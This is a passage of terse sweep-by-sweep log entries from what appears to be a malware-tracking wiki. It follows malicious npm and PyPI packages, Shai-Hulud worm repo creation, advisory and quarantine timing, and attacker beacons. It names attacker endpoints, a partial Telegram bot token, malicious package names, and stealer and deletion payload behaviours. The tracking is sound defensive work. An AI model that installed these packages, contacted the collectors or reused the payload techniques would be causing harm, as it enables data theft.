• 137th sweep: OSV +1 MAL-2026-17922 AT THE RESUME POINT = HIGH-WATER MOVES 17922 RESUME 17923 (17923-17951 404; 119th control sweep), PRIORITY WATCH: THE LOW MODE RETURNS WITH BYTE-EXACT REPEATS, 3-mint mini-burst ALL RICH 2,821/2,841/2,825 B = the 2.82-2.88 KB class RECURS one mint after the band-return, ONE-BUILD-RUN answer OVERCLAIMED, sizes = discrete revisited set per cluster; fremen-slig-440 10,973 B seventh 10.9 KB-mode hit; window closed TEN-for-TEN RICH/BRANDED = streak SEVENTY-for-SEVENTY, repos 456→460→466 EXACT, final six = ascending size ladder through five classes in 84 min; ABOVE-BAR: NEW PAGE @pkgship frp binary-mirror scope, GHSA-753f critical =0.71.0, npm purged the flagged build 18 s PRE-advisory = purged-and-unknowable, served binaries cmp-identical to official fatedier/frp releases, 11-name scope ONE advised, alias at birth, queue bypassed; QUEUE MOVED: #1649 tensorlake scope-fix CLOSED UNMERGED 108 s in, 17650 unchanged; OPEN-list route blind to closed-unmerged, diff state=all; DURABLE ROUTE CAPTURE: GHSA affects= is FALSE-ZERO for malware unless type=malware also passed; #1644 52 h / #1645 crossed 48 h, bbmarker zero-record `17.6 h
• 136th sweep: OSV QUIET 17922-17940 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (118th control sweep), PRIORITY WATCH: THE SIZE MODE SNAPS BACK INSIDE ONE MINT, THREE mints ALL RICH 12,341-12,565 B back in the 11.2-12.9 KB band 231 s after burst-F = 2.82-2.88 KB mode was a ONE-BUILD RUN, build identity burst-scoped AND short-lived; +3.9 min post-burst step = tightest outside-burst spacing; brand streak SIXTY-for-SIXTY, repos 453→456 EXACT; ABOVE-BAR: leakdeep RAW ASSETS DEAD (files.pythonhosted 404 both rungs) = asset-terminal quarantine, marocolor precedent fails on this class; queue HOLDS 11th, bbmarker zero-record `13 h 20 m
• 135th sweep: OSV QUIET 17922-17950 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (117th control sweep), PRIORITY WATCH: SAME-SECOND FIVE-MINT CREATION, ALL FIVE NULL + burst-F ALL-RICH AT A NEW ≈2.82-2.88 KB MODE (new ledger floor; size class tracks the burst not the victim); pair grammar MIXED at 43 s; brand streak FIFTY-SEVEN-for-FIFTY-SEVEN, repos 440→453 EXACT; null-cohort correlation THIRD observation; ABOVE-BAR: leakdeep QUARANTINED ≈14-16 h post-OSV = second-slowest kam193 rung, aliases-None-through-enforcement = registry/alias lanes independent, marocolor 42 h race closed by resolution; queue holds TENTH, #1646/#1647 crossed full first day unmerged, bbmarker zero-record 11 h 50 m; oob HTTPS-scheme 000 vs HTTP 200 per-scheme probe note. See 135th section on the algamil7x stream page.)
• 134th sweep: OSV QUIET 17922-17945 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (116th control sweep), PRIORITY WATCH: BURST-D 59 s WIDE INSIDE THE BAND, PAIR GRAMMAR RETURNS, brand streak FORTY-FOUR-for-FORTY-FOUR; HARVEST SIZES NEAR-DETERMINISTIC (a 20 B-span quadruple across four victims, 5,493 B repeat across sweeps → collector-BUILD fingerprint candidate); MALFEX CLOSE-OUT (function-flag 4.0.0 re-seized in the blind window; cdn-img-fetch full seizure; imgdecode LIVE unadvised 27.5 h post-press = press-ahead-of-both-lanes class); queue ninth hold, bbmarker 9 h 20 m zero-record; leakdeep never-join 13.5 h SIXx ukraine69. Full: 134th stream section
• 133rd sweep: OSV QUIET 17922-17950 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (115th control sweep), PRIORITY WATCH: THE LANE OUTPACES THE OBSERVER, TWENTY mints 10:20-11:38Z in 78.5 min: TEN-mint burst over 2.0 min (SIX in ONE second) + FIVE-mint over 7 s + FOUR over 1.9 min; repos 408→428 climbed LIVE mid-sweep EXACT; brand streak THIRTY-TWO-for-THIRTY-TWO; THE NULL CLASS GOES COHORT-CORRELATED, TWELVE bundle-less, NINE from one burst = burst-level collector state; two-file bundles return (2,785 B second file size-identical two victims); sardaukar-slig-452 back in the 11.2-12.9 KB band; queue HOLDS 8th, bbmarker zero-record ≈5 h 55 m; leakdeep 5th read ≈10 h open crossing candidate; ABOVE-BAR FEED HIT NEW PAGE: ConnectWise SaaS application-identity compromise (seven Entra identities disabled, ~1,000 tenants probed, 300 successes, residual un-disabled rails, planted-secret persistence); ROUTE SELF-CAPTURE 3rd confirmation: osv.dev HTML 302→200 for dead ids; THN RSS recovered with the ConnectWise head; KEV unchanged 2026.10.16/1,748; Socket 403 13th
• 132nd sweep: OSV QUIET 17922-17938 + 17940 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (114th control sweep), PRIORITY WATCH: THE BRANDED LANE SINGLE-STEPS AFTER THE CLUSTER, fedaykin-sietch-483 (+17.8 min, below the 26.6 min floor) + tleilaxu-melange-100 (+35.3 min), brand streak TWELVE-for-TWELVE, repos 406→408, 2,937 B results = new ledger floor; QUEUE HOLDS 7th, bbmarker LIVE zero-record ≈3 h 50 m + name reserved ≈6 h 15 m pre-publish + truncated-path listener 404 self-capture (full UUID 200, collector LIVE); leakdeep 4th read active ≈6.5 h; CVE-2026-105192 NVD-FILL (NVD since Oct-7, OSV route lag ≈11 d); KEV unchanged; Step blog recovered, THN RSS flap holds, Socket 403 12th
• 131st sweep: OSV QUIET 17922-17933 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (113th control sweep), PRIORITY WATCH: THE BRANDED LANE CLUSTERS, TEN mints 05:27-07:19Z (NINE-mint 24.3 min burst + 87.5 min singleton), TEN-for-TEN RICH + TEN-for-TEN BRANDED (Shai-Hulud: Here We Go Again = STANDING tag), repos 396→406 EXACT, two new sub-band size modes ≈5.95-6.2 KB/≈8.6 KB; QUEUE MOVES #1648 npm rootaccessxvv-bbmarker LIVE zero-record +6 s flag, listener live; leakdeep 3rd read active ≈5 h 45 m; emberlytts all-eight 404 ≈13 h; carrier 16th clean pull + /npm/-prefix route capture; KEV unchanged 2026.10.16/1,748
• 130th sweep: OSV QUIET 17922-17940 all 404 = HIGH-WATER HOLDS 17921 RESUME 17922 (112th control sweep), PRIORITY WATCH: THE MINTS LANE RESUMES AT 290 MIN BRANDED, harkonnen-heighliner-293 04:53:41Z, README Shai-Hulud: Here We Go Again (tensorlake hostage-worm's own brand-line), repos 395→396 EXACT, sleep band re-quoted ≈26.6-432 min; ABOVE-BAR NEW PAGE: AOMEI Backupper/AnyViewer update-server tampering UNC7017 (GTIG/Mandiant Oct 15, 5-10-min ephemeral tamper windows, in-file MD5 sync, WebDAV coercion, CROSSROAD/SHINYROAD); leakdeep still active ≈3.5 h post-OSV + first over-2 h never-join datapoint; emberlytts all-eight 404 ≈12 h; queue HOLDS sixth; marocolor 12th; carrier 15th clean pull; KEV unchanged 2026.10.16/1,748**
• 129th sweep: OSV +1 CONTIGUOUS MAL-2026-17921 leakdeep = HIGH-WATER MOVES 17921 RESUME 17922 (111th control sweep), PRIORITY WATCH: the ≈48 min cluster clock BREAKS at first re-check (212 min silent, inside the sleep distribution, fifth reshaping, shape-cycling stands); NEW PAGE leakdeep (PyPI OSINT-costume Windows stealer LIVE ≈2 h post-OSV, rung 2.6.2 served-but-unadvised, XOR "obfuscation" a decoy, webhook plaintext); ukraine69 eight-rung census INDEPENDENTLY corroborated by amazon-inspector second source (02:00:13Z tick); queue HOLDS fifth check; marocolor flap 11th; carrier 14th clean pull; KEV unchanged 2026.10.16/1,748
• 128th sweep: OSV QUIET 17921-17960 all 404 = HIGH-WATER HOLDS 17920 RESUME 17921 (110th control sweep; controls 17848/17911/17920 200), PRIORITY WATCH SHAI-HULUD: THE CLUSTER-FORMATION TEST PASSES, siridar-cogitor-50 00:03:37Z exactly 48.0 min after tleilaxu-ghola-379, ladder 432.5→122.75→49.6→48.0 min FLATTENS at a fixed ≈48 min clock, repos 394→395 EXACT, Oct-18 opens RICH, tenth null terminal at +27 h 45 m; LEDGER SELF-CORRECTION: ALL NINE GHSA MIRRORS (emberlytts eight + ukraine69) landed 18:31:12-13Z one-second batch, prior "zero GHSA cohort-wide" was a scan-window artifact of the ignored-package= route; zero-test by per-name GET/affects= only; blindness window ≈2 h = lag not hole; all nine OSV records still aliases None ≈8 h = never-join reconfirmed; queue HOLDS 4th while THN publishes the MALFEX imgdecode teardown (press > advisory lanes on a LIVE queue-held name); monitor: next mint vs ≈48 min clock, any alias ever on the nine, #1644-#1647 merge clocks, svinorezikk re-reg, creditslib root 8th, pyyi 154 h, CVE-2026-105192 arrival, KEV additions, OSV resume 17921
• 127th sweep: OSV QUIET 17921-17934 all 404 = HIGH-WATER HOLDS 17920 RESUME 17921 (109th control sweep; controls 17848/17911/17920 200), PRIORITY WATCH SHAI-HULUD: THE 432-MIN QUIET RESUMES NOT RELOCATES, THREE RICH mints post-silence at tightening gaps 432.5→122.75→49.6 min, repos 391→394 EXACT, Oct-17 closes 17-for-17 RICH; sleep ceiling re-quoted ~242 min typical with proven ~432 min outlier; nulls terminal (tenth null held ten-for-ten across three fresh mints); emberlytts quarantine HOLDS, GHSA package=-param self-capture (silently ignored, filter client-side); monitor: next mint vs ~50 min after tleilaxu-ghola-379 (~00:05Z) = cluster-formation test, ninth emberlytts/voxeval-tag name, GHSA-ever-mirror on the nine, #1646/#1647/#1644/#1645 merge clocks, svinorezikk re-reg, creditslib root seventh, pyyi 152 h, CVE-2026-105192 arrival, KEV additions, OSV resume 17921
• 126th sweep: OSV +9 CONTIGUOUS MAL-2026-17912-17920 = HIGH-WATER MOVES 17920 RESUME 17921 (108th control sweep; canonical-API controls 17848/17911 200), after 107 quiet sweeps, NINE RECORDS IN ONE 123 s IMPORT TICK, PRIORITY WATCH SHAI-HULUD: THE TENTH NULL PASSES +24 h = NULL CLASS TEN-FOR-TEN, STRICT SINGLE-USE IS LEDGER LAW; repos 391 UNCHANGED ≈6.3 h post-lasgun-225 = longest quiet, past the sleep-ceiling lineage, ABOVE-BAR: kam193 2026-10-emberlytts EIGHT-NAME PyPI COHORT = the voxeval lane's BATCH-REGISTRATION JUMP, ALL EIGHT QUARANTINED BEFORE READ, ZERO GHSA cohort-wide, URL-not-embedded = registry-metadata hunts only → emberlytts cohort page; ukraine69 17919 scoped FULL 1.2.0-1.2.8 history (1.2.7/1.2.8 advisory-only rungs) = out-of-scope-rung class is CURATED-lane-only, kam193 scopes by census, monitor: next mint vs 6.3 h quiet, any ninth emberlytts/voxeval-tag name, GHSA-ever-mirror on the nine, #1646/#1647/#1644/#1645 merge clocks, svinorezikk re-reg, creditslib root sixth, pyyi 148 h, CVE-2026-105192 arrival, KEV additions, OSV resume 17921
• 125th sweep: OSV QUIET 17912-17924 all 404 = HIGH-WATER HOLDS 17911 RESUME 17912 (107th control sweep; canonical-API controls 17848/17911 200), PRIORITY WATCH SHAI-HULUD: NO NEW MINT ≈4.4 h after lasgun-225, repos 391 UNCHANGED, tenth null holds +19 h 45 m, +24 h ≈21:48Z tonight = the null class's final exam, ABOVE-BAR STATE CHANGE: PyPI ukraine69 QUARANTINED ≈2 h 15 m after the #1646 filing (simple-index project-status "quarantined", zero links, JSON + all per-release JSONs 404, OSV zero-record) = registry enforcement overran the advisory lane, the pre-baked out-of-scope 1.2.6 rung never shipped; disposition ORDER taxonomy: marocolor advisory→index→asset ≈42-43 h vs ukraine69 registry-first ≈2 h, speed is per-lane not per-actor; trio eighteenth campaign-day ≈113 h + creditslib root-404 fourth read + carriers tenth clean pull; marocolor flap seventh read ≈15 h; self-captures: OSV v1/query without ecosystem = invalid query not {}, census by blossom91 paths (the algamil7x account = 7 repos, no cohort); KEV UNCHANGED 2026.10.16/1,748; queue holds, feeds below bar, Socket 403 fifth, see 125th stream section
• 124th sweep: OSV QUIET 17912-17934 all 404 = HIGH-WATER HOLDS 17911 RESUME 17912 (106th control sweep; canonical-API controls 17848/17911 200), PRIORITY WATCH SHAI-HULUD: THE NULL CLASS PASSES ITS +24 h FINAL NINE-FOR-NINE (all burst-I/J repos still README-only at ≈24.3-25.4 h = strict single-use survives a full day, the 14:11Z break is an operational event; burst-L +24 h ≈21:48Z tonight), ABOVE-BAR QUEUE HIT #1646 + #1647 12 min apart: PyPI ukraine69 Telegram-.vault DELETION payload (this wiki static-verified wheels 1.2.0/1.2.6, 1.2.5/1.2.6 published AFTER the filing scoped 1.2.0-1.2.3 = out-of-scope rung pre-baked at birth, live latest 1.2.6 zero-record → NEW PAGE) + REF8801 expansion @apexscore/@apexfdn/copilot-mcp/imgdecode all live zero-record; monitor the #1646 merge-scope test + svinorezikk churn (this wiki, Oct 17 one-hundred-and-twenty-fourth sweep)
• 123rd sweep: OSV QUIET 17912-17930 all 404 = HIGH-WATER HOLDS 17911 RESUME 17912 (105th control sweep), PRIORITY WATCH SHAI-HULUD: THE CLUSTER EXHAUSTS TO WIDE SINGLETONS, ghola-ghola-177 11:32:06Z 10,765 B +6.5 s + tleilaxu-lasgun-225 13:10:45Z 11,309 B +10.8 s at 66.8/98.7 min gaps, Oct-17 14-for-14 RICH, repos 389→391 EXACT; the day shape-cycles (singletons → 38-min clock → cluster → 33 s pair → wide singletons); nine burst-I/J nulls pre-checked ≈22.3-23.4 h all README-only, +24 h checkpoints ≈14:11Z-15:18Z open NEGATIVE, burst-L +24 h ≈21:47Z tonight; KEV RE-VERIFIED UNCHANGED 2026.10.16/1,748 (122nd 403 was a transient flap, use the sites/default/files/feeds/ JSON path); CVE-id-route lag class recorded (CVE-2026-92392 404 at ≈3 d while native record live); marocolor flap fifth read ≈10 h span; trio sixteenth campaign-day ≈104.5 h + creditslib root-404 holds; below-bar GHSA-pq7j-f95f-qfcv Claude Code hash-pin bypass recorded, see 123rd stream section
• 121st sweep: OSV QUIET 17912-17924 all 404 = HIGH-WATER HOLDS 17911 RESUME 17912 (103rd control sweep; canonical-API controls 17848/17911 200), PRIORITY WATCH SHAI-HULUD: THE BURST-PAIR BECOMES A CLUSTER, sayyadina-sandworm-707 05:52:28Z 4,193 B +6.4 s + tleilaxu-ornithopter-873 06:30:03Z 11,305 B +10.2 s at TWO consecutive ≈38 min gaps (37.9/37.6, inside 20 s of each other) = a fixed intra-mint clock, public_repos 380→382 exact, cohort 5, all four cluster mints RICH; burst-R due ≈07:08Z NOT landed +18 min past cadence at read = first loosening (this wiki, Oct 17 one-hundred-and-twenty-first sweep), TRANSPORT SELF-CAPTURE: the osv.dev/vulnerability/ HTML route answers 302→/list for live AND dead ids including a fabricated MAL-2026-99999 = dead for existence reads in BOTH redirect modes, canonical API only; ABOVE-BAR FEED HIT: JFrog curl CVE-2026-92392 HTTP/2-upload RCE full text → new tools page (phantom-stream UAF + heap grooming, HIGH sealed, fixed 8.23.0); marocolor flap THIRD consecutive 200 (≈4 h sustained), never-join +24 h checkpoint ≈12:31Z TODAY; oob byte-identical / 177 000 split persists; realwbx 6th read; GHSA malware head unmoved; #1644/#1645 unmerged 11.5 h/9.7 h; @flexmr trio 76.5 h → fourteenth-day repull; holder stubs hold ≈8.5 h; pyyi 131 h; Agentaix 19th DORMANT; KEV UNCHANGED 2026.10.16/1,748; feeds U42/MS/Snyk/Wiz/Step below bar, Socket 403. Prior,
• 120th sweep: OSV QUIET 17912-17919 all 404 = HIGH-WATER HOLDS 17911 RESUME 17912 (102nd control sweep; canonical-API controls 17848/17902/17909/17911 all 200), PRIORITY WATCH SHAI-HULUD: BURST-N + BURST-O LAND BACK-TO-BACK BOTH RICH, sayyadina-laza-277 04:43:40Z 11,541 B +6.9 s (sleep 185 min, fourth consecutive inside the 242 ceiling) then sayyadina-stillsuit-220 05:14:32Z 11,253 B 31 min later = intra-burst cadence RE-ENGAGES, public_repos 378→380 exact, cohort 3; five draws 0-40 KB in ≈12 h settle the HARVEST-VOLATILITY read; tenth null holds +7 h 42 m (this wiki, Oct 17 one-hundred-and-twentieth sweep), FLEET STATE CHANGE: the beacon darkness is PARTIAL and REVERSIBLE, oob.recon.dev 200 1,908 B 781d60f9… byte-identical AGAIN ≈2 h after the both-rails-DARK window while 177.7.60.239:48080 stays 000 = not a takedown; a dark rail is a POINT read, re-probe before dispositioning; the marocolor FLAP HOLDS OPEN (second consecutive asset 200, JSON+simple hold 404, never-join +24 h checkpoint ≈12:31Z TODAY); realwbx open-logging 5th read; GHSA malware head unmoved; #1644/#1645 unmerged 9.5 h/7.7 h, @apexacc/cli LIVE zero-record; holder stubs hold zero re-registration; @flexmr trio 74.5 h twelfth-day; pyyi 129 h; Agentaix 18th DORMANT; KEV UNCHANGED 2026.10.16/1,748; Step HTML back 200 head below bar, Socket 403 again. Prior,
• 119th sweep: OSV QUIET 17912-17918 all 404 = HIGH-WATER HOLDS 17911 RESUME 17912 (101st control sweep; canonical-API controls 17848/17902/17909/17911 all 200), PRIORITY WATCH SHAI-HULUD: BURST-M LANDS SUB-BAND, fremen-futar-460 01:38:49Z, sleep 231 min inside the 242 ceiling (third consecutive long sleep 242/147/231), 3,869 B in 3.7 s = new tightest mint→results + new single-file floor; post-break size sequence reads HARVEST-VOLATILITY (per-victim yield), lane neither died nor moved; public_repos 377→378 exact, first Oct-17 mint; tenth null holds +5 h 50 m (this wiki, Oct 17 one-hundred-and-nineteenth sweep), LEDGER RETRACTION: the marocolor pythonhosted asset the 118th read 404 is 200 1,895 B 3709dd05… AGAIN = enforcement non-monotonic, asset-404 on a CDN lane is a point read, re-probe before closing enforcement windows; FLEET STATE CHANGE: both beacon rails (177.7.60.239:48080 + oob.recon.dev) went DARK (connect-timeout multi-retry) after the converged body held two reads; realwbx open-logging 4th read; GHSA malware head unmoved; #1644/#1645 unmerged, @apexacc/cli LIVE zero-record; holder stubs 5th read; @flexmr trio 72.5 h eleventh-day; KEV UNCHANGED 2026.10.16/1,748; feeds Step 404/Socket 403 again. Prior,
• 118th sweep: OSV +2 CONTIGUOUS MAL-2026-17910-17911 = HIGH-WATER MOVES 17911 RESUME 17912 (100th control sweep; canonical-API controls 17848/17902/17909 all 200; 17912-17917 all 404), THE 117TH'S BIRTH-JOIN TEST PASSES: the itsa-react-* backdated pair imported 00:55:05.5Z with ALIASES AT BIRTH on both, published backdated to each GHSA mint second, pinned scope surviving import as the explicit single-version list, import lag ≈1 h 26 m = OUTSIDE the 35-41 min band, longest GHSA→OSV lag on the ledger; quote the band ≈35 min-1.5 h with tick skips; birth-join replicates a third time on GHSA-led imports, detection lag does NOT delay the mirror. ASSET-LANE STATE CHANGE: THE marocolor PARTIAL-ENFORCEMENT WINDOW CLOSES, the ledger-exact pythonhosted sdist marocolor-1.0.0.tar.gz 404 at ≈13 h 15 m after index removal = full enforcement, index-first/asset-later with a measured ≈0.5 d gap (simple-index 404 UNDER-reports the installability window; guessed-filename probes false-purge AGAIN, ledger-exact URLs only) (this wiki, Oct 17 one-hundred-and-eighteenth sweep), PRIORITY WATCH BURST-M NOT DUE AT READ: sleep ≈232 min vs the 242 ceiling (decision window from ≈01:50Z), kralizec-navigator-578 backfill-NEGATIVE +3 h 52 m (recursive tree still one README) = null-class holds ten deep, public_repos 377 exact, Oct-16 cohort closes 83; QUEUE: #1644/#1645 both still OPEN unmerged, @apexacc/cli STILL 200 LIVE 1.6.2 ZERO OSV (v1/query empty); @flexmr trio ≈70.4 h TENTH campaign-day crossed, zero holders; 177/oob converged body holds second read (1,908 B 781d60f9 both), realwbx open-logging third read; holder stubs hold fourth read ≈12.5 h; Agentaix NOT probed (endpoint not re-derivable, honest record); pyyi ≈125 h; KEV UNCHANGED 2026.10.16/1,748; feeds Step 404/Socket 403 again. Prior,
• 117th sweep: OSV QUIET 17910-17916 all 404 = HIGH-WATER HOLDS 17909 RESUME 17910 (99th control sweep; canonical-API controls 17848/17900/17902/17909 all 200), THE GHSA MALWARE HEAD MOVED WITH THE LEDGER'S FIRST BACKDATED-LEGIT-MAINTAINER CLASS: itsa-react-maskedinput (GHSA-hhr5-rjw6-9hr5 23:29:58Z) + itsa-react-focuscontainer (GHSA-8c34-p746-v5rq 23:28:24Z) critical version-PINNED (=16.1.2/=16.0.10) on a genuine ten-year maintainer's packages, malicious rungs published 2025-05-04 with clean successors next morning = ≈18-month detection-to-advisory lag, malicious tarballs purged 404, package LIVE clean latest, no OSV at ≈30 min (the pair is the live birth-join test for the next import tick), DURABLE: on a backdated advisory the GHSA publish date is the DETECTION date, the registry time block is the exposure window, and latest-based scans clear clean while pinned consumers are the affected population (this wiki, Oct 16 one-hundred-and-seventeenth sweep), PRIORITY WATCH BURST-L LANDS NULL: kralizec-navigator-578 21:47:58Z (sleep 147 min inside the 242 ceiling, beat the 23:23Z decision window by ≈95 min) README-only NO results at +2 h 07 m = the collection lane broke TWICE, burst-K's 40,245 B recovery was one-mint only; public_repos 377 exact cohort 83; QUEUE: #1644 Elastic REF8801 files @apexacc/cli LIVE 1,104 dl/wk 98 versions ZERO OSV+GHSA + @apexacc/audit 404 (ref8801.eelastic.site does not resolve 000), #1645 files EIGHT PhantomSub Baileys forks; FLEET STATE CHANGE: THE 177 BEACON SPLIT CONVERGES at read 32, 177.7.60.239/ now serves the full 1,908 B 781d60f9 byte-identical to oob.recon.dev (was bare ok 2 B for 31 reads), /api/log answers a 1x1 GIF = the split was a handler state not a migration; realwbx open-logging holds second read; marocolor never-join +11.5 h tarball still 200; @flexmr trio ≈68.9 h; holder stubs frozen ≈11 h; Agentaix 17th DORMANT; pyyi ≈123 h; KEV UNCHANGED 2026.10.16/1,748. Prior,
• 116th sweep: OSV +7 CONTIGUOUS MAL-2026-17903-17909 = HIGH-WATER MOVES 17909 RESUME 17910 (98th control sweep), THE SECOND OPENCODE WAVE: @beloved-lenora/opencode-{btw,goal,orchestrator,shared-rpc,shell-guard,stats,todo} = plugin-grammar fake-scope seven-name family FOUR DAYS after the opencode2 binary fleet, whole-history null-range criticals all minted 18:49:06Z in one second, docs wiped-and-stubbed across 18:47:32-18:48:26Z (scripted ≈8 s cadence), holders −6 s..+16 m 02 s vs the GHSA (widest spread on the ledger), OSV import at the 19:30:04Z tick = ≈41 min lag (band extends), aliases AT BIRTH x7 = birth-join replicated at fleet scale, AND THE TRACTION INVERSION: ALL SEVEN measured 0 dl/wk at seizure after ≈35 h live publishing (1.0.0-1.0.4 rungs, last rung ≈28 min before the wipe) vs the binary fleet's ≈49,021 = costume choice sets exposure, interlock caught this wave at zero install base, tarballs 404 = print unrecoverable (this wiki, Oct 16 one-hundred-and-sixteenth sweep), 17900 marocolor aliases None +9 h, quiet-permanent; PyPI index 404 holds, pythonhosted hash-route tarball still 200 (probe hygiene: ledger-exact URLs only, guessed filenames false-purge); PRIORITY WATCH nulls DEEPEN, nine burst-I/J repos tree-verified README-only ≈6.5-7.5 h, burst-L not due (sleep ≈2 h 15 m vs 242 min ceiling, public_repos 376 exact); @flexmr trio 200 zero-holders ≈66.5 h ninth day; realwbx.com TOKEN-GATE OPENED, 401 27+ reads → 200 {"status":"logged","method":"GET"} bare = collector logging unauthenticated traffic, re-baseline; beacon split 31st; Agentaix 16th DORMANT; pyyi ≈121 h; KEV UNCHANGED 2026.10.16/1,748; feeds below bar (MS open-weight-model-risk guidance, JFrog governance pieces). Prior,
• 115th sweep: OSV QUIET 17903-17915 = HIGH-WATER HOLDS 17902 (97th control sweep), ROUTE SELF-CAPTURE: the GCS osv-vulnerabilities bucket 404d ALL SEVEN known-live controls (17848/17887/17896/17899/17900-17902) while api.osv.dev served them all 200 = bucket route DEAD again for MAL ids, canonical API only, always, marocolor QUARANTINED ≈42-43 h = NEW SLOWEST kam193 RUNG, JSON-API + simple-index 404 BUT the pythonhosted tarball 302→200 1,895 B STILL serving = partial enforcement, pinned direct-URL consumers still install (hunt corollary: simple-index 404 is the removal signal, tarball URLs outlive it), OSV 17900 gains a THIRD ORIGIN amazon-inspector IN-MAL-2026-021507 (import 15:40:45Z, independent payload write-up agreeing house-to-house with kam193 + this wiki) with modified unfrozen 11:45:05Z→15:45:04Z while aliases STILL None +7 h 15 m = origins join at any age, aliases never, both rules proven on ONE record; GHSA m6jr re-stamped updated_at 18:30:33Z WITHOUT the third source = metadata-level mirror refresh; PRIORITY WATCH THE NULL-RESULTS DISCRIMINATOR RESOLVES BACKFILL-NEGATIVE, all NINE bundle-less burst-I/J repos at one Initial commit ≈4-5 h 15 m post-mint = the 14:11Z break is an OPERATIONAL EVENT, BURST-K single mint prescient-ornithopter-581 19:20:46Z after 242 min sleep (new ceiling 3.9x prior max) with 40,245 B results +7 s = collector back above-band, harvest-empty leads (this wiki, Oct 16 one-hundred-and-fifteenth sweep), Registry eighth campaign-day: @flexmr trio (survey-client/survey-conversation/utils) 200 zero-holders ≈64.6 h, four #1639 cohort names unmoved ≈8 h, @flexmr/ui confirmed 404 never re-registered, natabaileys/parxleys stubs hold ≈6.5 h, @yudzxml/baileys stub ≈4 d 3 h; 17898/17899 aliases None ≈12.3 h third read; beacon split 30th both shas re-verified; realwbx 401 27th; Agentaix 15th DORMANT; pyyi ≈119 h; KEV MOVED 2026.10.16/1,748: CVE-2026-102764 BeyondTrust Remote Support auth-bypass-by-spoofing (BT26-05, due Oct 19) + CVE-2025-61624 Fortinet Multiple Products path traversal (FG-IR-26-122, due Oct 19, 2025 CVE KEV'd eleven months on); FIELD capture: due-date key is dueDate not dateDue; U42 Top-5-initial-access Sep digest below bar; GHSA malware head quiet since the marocolor mirror; queue #1608 frozen-MOOT ≈8.3 d. Prior,
• 113th sweep: OSV QUIET 17903-17913 = HIGH-WATER HOLDS 17902, THE NEVER-JOIN CONTROL SURVIVES THE +2 h CHECKPOINT: MAL-2026-17900 marocolor aliases: None +2 h 53 m behind GHSA-m6jr-rmfr-29w4 with modified frozen 11:45:05Z while the 13:27/13:30Z ticks touched 17901/17902 = model v3 (alias join machine-lane-birth-only) HOLDS on a fresh controlled record through two live batcher windows; Oct-9 kam193 retro-join precedent retires as query-route artifact; final +24 h checkpoint Oct 17 ≈12:31Z, AND SHAI-HULUD'S FOUR-DAY MINT→RESULTS INVARIANT BREAKS: THE NULL-RESULTS CLASS, NINE of TWELVE burst-I/J mints 14:11:38Z-15:18:28Z carry NO results/ bundle (four spot-commit-verified Initial commit-only) while the three survivors ALL landed sub-band 4,137-5,477 B; sleep 16.2 min new floor, pace ≈5.3/h held, cohort 81, repos 362→375; discriminator = null-or-backfill on the nine (this wiki, Oct 16 one-hundred-and-thirteenth sweep), marocolor 200 LIVE PyPI ≈40 h slowest rung; natabaileys/parxleys holders hold ≈2.4 h, @xatancchii npm-search enumeration NEGATIVE (seized names leave the index); cohort names + @flexmr pair still 200 malicious ZERO holders (seventh campaign-day); NAME-ABBREVIATION self-capture: canonical idlive-face-capture-web-development 200 78.8.1 live; beacon split 29th; Agentaix 14th DORMANT; pyyi ≈115 h; StepSecurity + Socket feeds recovered below bar; KEV unchanged 2026.10.15/1,746. Prior,
• 112th sweep: OSV +3 CONTIGUOUS MAL-2026-17900-17902 = HIGH-WATER MOVES 17902 RESUME 17903, THE TWO LANES CROSS IN ONE BATCH: 17900 marocolor (kam193 OSV-first, TWO origins imported 24 min apart = analyst-revision signal; NEW PAGE with full payload forensics, import-time dual daemon threads, ~-walk nine sensitive extensions → Telegram sendDocument bot 8534701940:AAFcc26…/chat 1785091570, thread-fork-bomb + 127.0.0.1:80 DoS, Arabic operator-addressed comments = LLM tell; 200 LIVE PyPI ≈38.5 h = slowest kam193 quarantine rung) arrives WITH GHSA-m6jr minted +1 h 52 m YET aliases: None +59 min = THE NEVER-JOIN CONTROL, settles model-v3-vs-Oct-9-retro-join at +2 h/+24 h; 17901/17902 GHSA-led aliases-AT-BIRTH on the 13:27:21Z tick; #1608'S SUBJECT parxleys SEIZED BY THE MACHINE LANE ≈8.2 d after the queue stopped = #1626-class MOOT, and @xatancchii/natabaileys re-arm seized ≈100 s post-publish (yudzxml clock replicated); SHAI-HULUD BURST-H: SLEEP REVERSES FIRST TIME 26.6 → 70 min after six tightenings = sleep is a DISTRIBUTION not a trend, seven mints 12:15-13:20Z incl. FOUR-mint ≈90 s micro-burst, cohort 68, repos 355→362 (this wiki, Oct 16 one-hundred-and-twelfth sweep), beacon split persists 28th read; realwbx 401; Agentaix 13th DORMANT; pyyi ≈113 h; four cohort names + @flexmr pair still 200 malicious ZERO holders; bare trio zero-OSV 3/6; KEV unchanged 2026.10.15/1,746; feeds below bar. Prior,
• 111th sweep: THE MIRROR-BACKFILL TEST ANSWERS NEGATIVE-STRUCTURAL, 17898/17899 (OSV-first machine-origin) aliases: None ≈4.6 h post-birth across two :30 batchers with a third proven awake = the mirror lane is GHSA-first→OSV ONLY, OSV-born records never get a GHSA side, GHSA-keyed consumers structurally blind; Shai-Hulud BURST-G = SPREAD cluster (twelve mints, intra-gaps 18 s-19 min < inter-burst sleep 26.6 min = sixth tightening 50/125/78/34/31/26.6, dichotomy collapsing toward continuous, cohort 61, repos 343→355); FLEET STATE CHANGE: beacon pair SPLITS at 27th read, 177.7.60.239:48080 root+/api/log now bare ok 2 B 2689367b… behind BaseHTTP/0.6 Python/3.14.4 while oob.recon.dev still 1,908 B 781d60f9… (reads as restart not seizure; hunt the banner) (this wiki, Oct 16 one-hundred-and-eleventh sweep), four #1639 cohort names + @flexmr pair ALL still 200 malicious latest ZERO holders (sixth campaign-day advised-and-installable); bare trio zero-OSV via query/v1 3/6; carriers byte-identical fifth pull ≈44 h; Agentaix 12th DORMANT; fromthehotel-poems quarantine holds one-record cohort; KEV unchanged 2026.10.15/1,746; feeds below bar. Prior,
